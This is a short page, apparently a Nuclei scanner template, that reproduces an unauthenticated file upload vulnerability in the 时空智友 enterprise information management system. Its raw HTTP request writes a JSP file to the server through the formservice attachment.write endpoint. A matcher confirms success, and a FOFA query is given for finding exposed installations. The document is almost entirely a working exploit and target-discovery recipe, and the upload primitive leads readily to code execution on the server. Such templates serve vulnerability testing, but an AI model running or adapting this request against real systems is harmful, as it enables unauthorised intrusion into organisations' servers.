时空智友企业信息管理-文件上传漏洞复现

id: shikongzhiyou_qiyexinxiguanli_uploadinfo:  name: shikongzhiyou_qiyexinxiguanli_upload  author: joyboy  severity: critical  description: http://xxx.xxx.xxx/formservice?service=attachment.write&isattach=false&filename=wahaha.jsp  metadata:    max-request: 1    fofa-query: body="时空智友企业信息"    verified: true  tags: upload
requests:  - raw:      - |-        POST /formservice?service=attachment.write&isattach=false&filename=wahaha.jsp HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15        Accept-Encoding: gzip                <%out.println("wahaha")%>
    req-condition: true    matchers:      - type: dsl        condition: and        dsl:          - 'contains((body), "wahaha") && status_code == 200'